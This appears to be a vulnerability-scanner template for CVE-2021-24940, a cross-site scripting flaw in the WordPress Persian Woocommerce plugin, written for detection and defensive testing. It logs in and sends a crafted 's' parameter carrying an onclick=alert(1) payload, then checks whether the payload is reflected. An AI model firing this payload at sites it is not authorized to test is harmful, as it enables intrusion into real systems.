id: CVE-2021-24940

info:
  name: WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks.
  remediation: Fixed in 5.9.8.
  reference:
    - https://wpscan.com/vulnerability/1980c5ca-447d-4875-b542-9212cc7ff77f
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24940
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24940
    cwe-id: CWE-79
    epss-score: 0.00141
    epss-percentile: 0.49173
    cpe: cpe:2.3:a:woocommerce:persian-woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: woocommerce
    product: persian-woocommerce
    framework: wordpress
  tags: wp,xss,authenticated,wpscan,cve,cve2021,wordpress,wp-plugin

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=persian-wc&s=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22 HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - contains(header_2, "text/html")
          - status_code_2 == 200
          - contains(body_2, 'accesskey=X onclick=alert(1) test=')
          - contains(body_2, 'woocommerce_persian_translate')
        condition: and